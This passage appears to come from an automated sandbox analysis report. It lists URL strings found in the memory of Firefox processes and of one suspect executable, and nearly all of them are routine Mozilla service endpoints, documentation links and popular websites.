Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3346346381.000001C237BAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3264245114.000001E2D6EC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A53EB000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.27.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3187826061.000001C23F184000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3652245578.000001C23F184000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A53EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submitConfiguration
Source: firefox.exe, 0000001B.00000002.3482921182.000001C23B90F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 0000001B.00000003.3179417311.000001C244753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3210547179.000001C24474D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3182542929.000001C24448A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001B.00000002.3637244801.000001C23DABF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema.
Source: firefox.exe, 0000001B.00000002.3637244801.000001C23DABF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema./
Source: firefox.exe, 0000001B.00000002.3351773313.000001C2385A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema
Source: firefox.exe, 0000001B.00000002.3637244801.000001C23DABF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/
Source: firefox.exe, 0000001B.00000002.3637244801.000001C23DABF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/=
Source: firefox.exe, 0000001B.00000003.3179417311.000001C244753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3210547179.000001C24474D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001B.00000003.3179417311.000001C244753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3210547179.000001C24474D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001B.00000003.3179417311.000001C244753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3210547179.000001C24474D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001B.00000002.3632371300.000001C23D11F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3648786422.000001C23EA51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3648786422.000001C23EA51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com2e1fac17-9068-4561-b72a-c1e101be76f9extensions.langpacks.signatures
Source: firefox.exe, 0000001B.00000002.3609614943.000001C23C173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B4C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3609227343.000001C23C021000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351019948.000001C2384BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001B.00000003.3247118953.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3609614943.000001C23C173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B4C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3610402766.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3155911537.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001B.00000003.3247118953.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3609614943.000001C23C173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B4C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3610402766.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3155911537.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B4C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3286911695.000001C22C3D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3264245114.000001E2D6E73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A5386000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestbug-1648229-rollout-comcast-steering-rollout-relea
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3206512868.000001C23E161000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3619069627.000001C23C690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mochitest.youtube.com/
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B4B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3436711953.000001C239B6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351019948.000001C2384B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001B.00000002.3624313828.000001C23CBC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 0000001B.00000002.3609614943.000001C23C173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B4C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3206512868.000001C23E161000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3619069627.000001C23C690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/page/
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3206512868.000001C23E161000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3619069627.000001C23C690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/player/
Source: firefox.exe, 0000001B.00000003.3247118953.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3609614943.000001C23C173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B4C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3610402766.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3155911537.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001B.00000002.3640448626.000001C23DD70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3640448626.000001C23DD7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://push.services.mozilla.com
Source: firefox.exe, 0000001B.00000002.3640448626.000001C23DD70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3643180595.000001C23E0A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://push.services.mozilla.com/
Source: firefox.exe, 0000001B.00000002.3482921182.000001C23B90F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437483944.000001C23A0C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3263358958.000001E2D6CB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3267971841.00000235A5890000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3654754835.000001C23FD05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B4E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B4B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3436711953.000001C239B6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351019948.000001C2384B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150637847.000001C23BE3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3610655302.000001C23C303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150450150.000001C23BE1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150800700.000001C23BE60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3610655302.000001C23C377000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3619069627.000001C23C690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150183043.000001C23C300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/aboutConfigPrefs.onPrefChange
Source: firefox.exe, 0000001B.00000002.3641525579.000001C23DED9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: firefox.exe, 0000001B.00000002.3654754835.000001C23FDA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3652245578.000001C23F1C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3187826061.000001C23F1C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3628973173.000001C23CF21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3628973173.000001C23CF21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001B.00000002.3637244801.000001C23DABF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3182542929.000001C24448A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 0000001B.00000002.3637244801.000001C23DABF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3482921182.000001C23B90F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3187826061.000001C23F123000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A5312000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/Routed
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/http://mozilla.org/#/properties/branches/anyOf/1/items/properties/featur
Source: firefox.exe, 0000001B.00000002.3637244801.000001C23DABF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3182542929.000001C24448A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3622884951.000001C23C918000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238527000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs:
Source: firefox.exe, 0000001B.00000002.3482921182.000001C23B90F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3654754835.000001C23FD87000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A53BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userDISCOVERY_STREAM_DEV_SYNC_RS
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userDISCOVERY_STREAM_DEV_SYNC_RSDISCOVERY_STREAM_FEEDS_UPDATEDISCOVERY_S
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D00B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D15A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3643180595.000001C23E0D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jscolor-mix(in
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D006000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D00B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D15A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3628973173.000001C23CFE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3643180595.000001C23E0D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3628973173.000001C23CFA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelSHUTDOWN_PHASE_DURATION_TICKS_PROFILE_CHANGE_NET
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B4E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B4B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3436711953.000001C239B6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3640448626.000001C23DD12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001B.00000002.3624313828.000001C23CBC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437483944.000001C23A0C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3263358958.000001E2D6CB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3267971841.00000235A5890000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001B.00000002.3651042917.000001C23ED85000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3646061223.000001C23E6C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3191276571.000001C23ED85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001B.00000002.3645713303.000001C23E5E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/firefox-relay-integration
Source: firefox.exe, 0000001B.00000002.3649402880.000001C23EB29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3482921182.000001C23B96F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437483944.000001C23A0C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C2385E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3646061223.000001C23E6A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3643180595.000001C23E088000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3263358958.000001E2D6CB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3267971841.00000235A5890000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 79ddad050f.exe, 0000000A.00000003.3237477005.0000000005A5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpchrome://browser/con
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3654583430.000001C23FCA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingschrome://browser/content/mi
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesstartMigration
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation.unified-extensions-context-menu-move-widget-downr
Source: 79ddad050f.exe, 0000000A.00000003.3237477005.0000000005A5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.orgchrome://browser/skin/menu.svgdevice-connected-notification_migrateXULSto
Source: firefox.exe, 0000001B.00000003.3179417311.000001C244753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3210547179.000001C24474D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B4E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B4B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3436711953.000001C239B6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001B.00000002.3624313828.000001C23CBC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com/
Source: firefox.exe, 0000001B.00000002.3638368743.000001C23DB17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3628973173.000001C23CF19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3643180595.000001C23E02D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://watch.sling.com/
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238527000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001B.00000003.3179417311.000001C244753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3210547179.000001C24474D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C2385E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3191842126.000001C23ED61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3651042917.000001C23ED61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
